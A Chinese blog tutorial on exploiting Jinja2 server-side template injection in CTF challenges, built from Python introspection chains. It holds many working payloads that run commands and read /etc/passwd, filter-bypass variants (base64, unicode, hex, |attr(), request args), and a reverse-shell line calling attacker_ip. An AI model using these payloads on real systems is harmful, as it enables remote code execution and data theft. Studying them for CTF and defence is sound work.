Python中的SSTI之Jinja2

前言

什么是SSTI

SSTI(Server-Side Template Injection) 是服务器端模板注入的缩写,是一种 web 应用程序漏洞,它出现在当应用程序使用模板引擎渲染用户输入时,攻击者能够在模板中注入恶意代码,进而执行未授权的操作或获取敏感信息。

在许多 web 框架中,模板引擎用于将动态内容渲染到网页上,通常会处理从用户端传递的变量。SSTI 漏洞的根本问题是,应用程序没有正确过滤或验证用户输入,导致攻击者可以注入恶意代码到模板中,这些代码在服务器端执行,进而实现远程代码执行或获取敏感数据。

常见的模板引擎

  • Jinja2(Python)
  • tornado(Python)
  • Django(Python)
  • Twig(PHP)
  • Smarty(PHP)
  • Blade(PHP)
  • Freemarker(Java)
  • Thymeleaf(Java)
  • Velocity(Java)
  • Handlebars(JavaScript)
  • ERB(Ruby)

其中,Jinja2 是一个功能强大的模板引擎,广泛用于 Python 的各种场景中,尤其在 web 开发和配置文件生成方面应用广泛。

Jinja2 是 Flask 的默认模板引擎,Django 也支持 Jinja2 作为可选模板引擎。

接下来就来说说Jinja2的SSTI

Flask-jinja2 SSTI

Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 {{…}}

Jinja2使用 {{name}} 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 模板同样支持控制语句,像在 {%…%} 块中,下面举一个常见的使用Jinja2模板引擎for语句循环渲染一组元素的例子:

<ul>
     {% for comment in comments %}
         <li>{{comment}}</li>
     {% endfor %}
</ul>

另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

Hello, {{name|capitalize}}

于是在Python环境下,倘若未进行严格过滤,可以结合沙盒逃逸来进行SSTI注入

大体思路:
找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。

常用内置属性

__class__属性

__class__ 是对象的一个内置属性,用来表示对象所属的类。每个实例(对象)都拥有一个 __class__ 属性,它指向该实例的类或类型。

>>> ''.__class__
<type 'str'>           //字符串

>>> ().__class__
<type 'tuple'>         //元组

>>> [].__class__
<type 'list'>          //列表

>>> {}.__class__
<type 'dict'>          //字典

__bases__属性

__bases__用于表示当前类的直接父类(或基类)。它是一个包含父类的元组,仅在类对象上有效。也可以使用数组索引来查看特定位置的值。

  • 注意是只列出直接基类,不包含继承链中的间接父类。

简单来说就是返回类型列表,得和读取的连起来使用,比如说__class__

>>> ().__class__.__bases__
(<type 'object'>,)

>>> ''.__class__.__bases__
(<type 'basestring'>,)

>>> [].__class__.__bases__
(<type 'object'>,)

>>> {}.__class__.__bases__
(<type 'object'>,)

>>> ''.__class__.__bases__[0].__bases__[0] // python2下与python3下不同
<type 'object'>

>>> [].__class__.__bases__[0]
<type 'object'>

__mro__属性

__mro__ 是 Python 中的一个内置属性,全称是“Method Resolution Order”,即方法解析顺序。
它用于表示类的继承顺序,特别是在多重继承的情况下,帮助 Python 确定在调用方法或属性时应该按什么顺序查找各个基类。

通过 __mro__,可以按照继承顺序检查属性或方法的位置,可以用此方法来获取基类

>>> ''.__class__.__mro__    // python2下和python3下不同
(<class 'str'>, <class 'object'>)

>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)

>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)

>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

>>> ().__class__.__mro__[1] // 返回的是一个类元组,使用索引就能获取基类了
<class 'object'>

__base__属性

__base__此方法也可以直接获取基类

>>> ''.__class__.__base__
<class 'object'>             //python3下的

>>> ''.__class__.__base__    //python2下的
<type 'basestring'>

>>> [].__class__.__base__
<type 'object'>

>>> {}.__class__.__base__
<type 'object'>

>>> ().__class__.__base__
<type 'object'>

__globals__属性

__globals__用于表示当前函数或方法的全局命名空间(即当前函数所在模块的全局作用域)。它是一个字典,包含了所有在函数定义时可见的全局变量。
其与 func_globals 等价。
例如:

{{ __globals__['open']('/etc/passwd', 'r').read() }}

{{ __globals__['eval']('__import__("os").system("id")') }}

常用魔术方法

当掌握了这些类继承的方法,我们可以从任何一个变量回溯到最开始的基类<class 'object'>中,再去获得这个最开始的基类所有能实现的子类,就可以有很多的类和方法了。

__subclasses__()方法

__subclasses__() 是一个类方法,可以在任意类上调用。
它返回一个列表,包含所有直接继承自该类的子类,但不包括更深层次的派生类(即不会递归包含子类的子类)。

可以利用这个魔术方法返回基类object的子类

若利用__bases__就有一个小细节要注意
错误操作:

>>>''.__class__.__bases__
(<class 'object'>)

>>>''.__class__.__bases__.__subclasses__()
# 报错

正确操作:

>>>''.__class__.__bases__[0]
<class 'object'>

>>> ''.__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>,......]
  • 错误原因:
    __bases__返回的是(<class 'object'>)其外面有()的包裹,即返回的为一整个数组。
    __bases__[0]选中了第0个,也就是<class 'object'>这个类

也可以使用__base__属性

>>>''.__class__.__base__
<class 'object'>

>>>''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>,......]

因为:

  • __base__ 用于表示当前类的直接父类(即单继承时的父类),__bases__是一个元组,包含当前类的所有直接父类(即父类的元组)。
  • 对于单继承的情况,__base____bases__[0] 返回的结果是相同的。

找出可以利用的类

上述操作中查出了许多子类,那么如何找到我们想要的子类呢?
可以使用这个脚本

a=''' 这里放入查出的子类 '''
a=a.split(',')
num=0
for i in a:
    if '<class \'os._wrap_close\'>' in i:  # ' ' 里放入要查找的子类(记得转义单引号)
        print("num:",num)
    num+=1

print("end")

__builtins__方法

__builtins__ 是 Python 中的一个内置模块,包含了 Python 解释器的所有内置函数、异常、类型和其他对象。

它在每个 Python 环境中都可用,是一个非常重要的命名空间。
通过 __builtins__,你可以访问 Python 的所有内置对象,比如 print()eval()open() 等。

例如:

#方法一
{{ __builtins__.eval('__import__("os").system("id")') }}

#方法二
{{ __builtins__['eval']('__import__("os").popen("env").read()') }}

在第一个方法中,使用了 __builtins__.eval直接访问 eval。
在第二个方法中,使用了 __builtins__['eval'],这其实是通过字典的方式获取 eval 函数。虽然效果相同,但这种方式可能绕过一些模板引擎的限制(如果模板引擎对方法名进行了限制)。

__import__()函数

__import__() 函数的基本用法是通过传入一个模块的名称,来导入该模块。这个函数与 import 语句不同,import 语句是语法糖,而 __import__() 允许你以字符串的方式传入模块名,并提供了更细粒度的控制。

例如:

{{ __import__("os").popen("cat /etc/passwd").read() }}

{{ __import__("os").system("nc -e /bin/sh attacker_ip 1234") }}

__init__方法

__init__ 是 Python 中类的构造方法,用于初始化对象

{{config.__class__.__init__.__globals__['os'].environ['flag']}}
在这里,config.__class__.__init__ 是指类的构造函数(__init__ 方法)。通过这种方式,攻击者可以访问 config 类的构造函数,但这里的目标是利用 __globals__,而不是直接执行 __init__ 方法。

用SSTI读取文件

python2中我们可以利用子类<type 'file'>(假设在第40位)

#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

在Python 3环境中file类已经没有了,文件对象的类型是 <class '_io.TextIOWrapper'><class '_io.BufferedReader'>

常用<class 'filter_frozen_importlib_external.FileLoader'>或者直接调用open函数读文件

{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

利用SSTI执行命令

遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。

记住几个含有eval函数的类

warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize

寻找 os 模块执行命令

Python的 os 模块中有systempopen这两个函数可用来执行命令。

  • system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;
  • popen()函数执行命令有回显
  • 所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。

可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close ,但也不绝对。

所以说需要时可以查找popenos,常用示例如下:

[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

绕过方法

关键字绕过

我们可以利用+进行字符串拼接,绕过关键字过滤

这种绕过需要一定的条件,返回的要是字典类型的或是字符串格式(即str)的,即payload中引号内的,在调用的时候才可以使用字符串拼接绕过

{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}

payload中引号内的,在调用的时候都可以使用字符串拼接绕过。

编码绕过

base64编码绕过

引号内的代码进行base64编码后再后接.decode('base64')可以进行绕过

# 编码前
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

# 编码后
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13,16进制编码。这一切都是基于我们可以执行命令实现的。

利用Unicode编码绕过

例如

# 编码前
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

# 编码后
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}

当我们使用eval来执行命令时几乎所有命令都是置于引号之下的,所以我们利用对引号内的内容进行编码绕过的话是可以轻松绕过许多过滤的,例如对osls等的过滤。

利用hex编码绕过

当过滤了u时,上面的Unicode与base64编码就不灵了,所以我们需要使用一种与前两种编码形式区别较大的编码来进行绕过

我们可以利用hex编码的方法进行绕过

# 编码前
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

# 编码后
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}

这里注意,在进行hex编码的时候我们需要选用/x的形式,这样才能有效绕过。

利用引号绕过

单双引号都行,假如过滤了flag时,我们可以使用fl''ag或者fl""ag的形式来绕过

().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()

[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()

只要是字符串的,即payload中引号内的,都可以用引号绕过

利用join()函数绕过

我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:

[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

这也是基于对PHP函数命令的理解来的。

绕过对其他字符的过滤

过滤了中括号[]

利用__getitem__()绕过

可以使用getitem()方法输出序列属性中某个索引处的元素(相当于[]
简单理解就是:[] = __getitem__()

>>> "".__class__.__mro__[2]
<type 'object'>

>>> "".__class__.__mro__.__getitem__(2)
<type 'object'>

例如:

{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}       // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性
利用字典读取绕过

我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号[]里来访问,一种就是用点.来访问。所以,当方括号[]被过滤之后,我们还可以用点.的方式来访问,如下示例

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}

在题目无其他限制的时候,上述两种方法是等效的
也就是说

['__builitins__'] <=> .__builtins__.

['xxx'] <=> .xxx.

过滤了引号'' ""

利用chr()绕过

使用 ord() 可以获取字符的 ASCII(或 Unicode)值。
使用 chr() 可以将 ASCII(或 Unicode)值转换为字符。

单引号 (') 的 ASCII 值是 39。
双引号 (") 的 ASCII 值是 34。

我们没法直接使用chr()函数,所以我们需要先通过__builtins__来找到它

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}

然后我们再去赋值给chr,后面拼接字符串

{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

整合在一起就变成了

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

等同于

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
利用request对象绕过

request有两种形式,request.argsrequest.values,当args被过滤时我们可以使用values,且这种方法POST和GET传递的数据都可以被接收,相对于通过chr()进行绕过,这种方法更为简单和便捷。

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

构造后为

{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

过滤了点.

利用|attr()绕过

|attr()为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割,它不止可以绕过点。所以可以直接利用,即
().__class__ 相当于 ()|attr("__class__")

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

# 可转化为

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}

|attr()配合其他绕过方法可以同时绕过下划线、引号、点、中括号等

利用中括号[]绕过

使用中括号直接进行拼接
类似于上面说过的直接访问方式和字典访问方式等效

{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

# 可转化为
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

同时,我们可以发现,这样绕过点之后,我们几乎所有的关键字都成了字符串,我们就可以用上面的一些方法绕过了,比如hex编码,这样我们几乎可以绕过全部的过滤。

过滤了大括号{{ }}

我们可以用Jinja2的{%...%}语句装载一个循环控制语句来绕过,这里我们在一开始认识flask的时候就学习了:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

这里在一开始的时候通过{%...%}载入了两个循环语句,通过for和if遍历函数,寻找出'catch_warnings'这一命令然后将其命名为c,再通过找出的c命令组合构造语句,执行命令,最后用在引入两个end语句来终止前面的forif的循环语句。

也可以使用 {% if ... %}1{% endif %} 配合 os.popencurl 将执行结果外带(不外带的话无回显)出来:

{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}

也可以用 {%print(......)%} 的形式来代替{{ }},如下:

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

组合绕过

同时过滤了 .[]

|attr()+__getitem__

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

# 等同于:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

同时过滤了 __ 、点.[]

__getitem__+|attr()+request

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()

# 相当于:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

总结

基本结构

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

获取基类的几种办法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__bases__
{}.__class__.__bases__[0]
request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0]       //其他的类似
  • 注意:如果._'这些被过滤了,可以用16进制编码绕过!!!

例如:

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}

特别注意用16进制编码之后里面要加"

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。

url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1      get传参
request.values.x1    所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1      post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post传参 (Content-Type:a/b)
request.json         post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>

常用的过滤器

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

fenjing

fenjing 这是一个CTF Jinja SSTI常规题通杀工具
使用方法参考:https://xz.aliyun.com/t/12586?time__1311=GqGxuiD%3DG%3DGQiQD%2FY25BKTqmw2zDcjApWoD

参考文章

https://xz.aliyun.com/t/11090?time__1311=Cq0x2Qi%3DwxnDlxGghDRiD9nQGCSU33x#toc-8

欢迎指正、交流 ~ ~ ~

作者:Jaren
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦 ~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇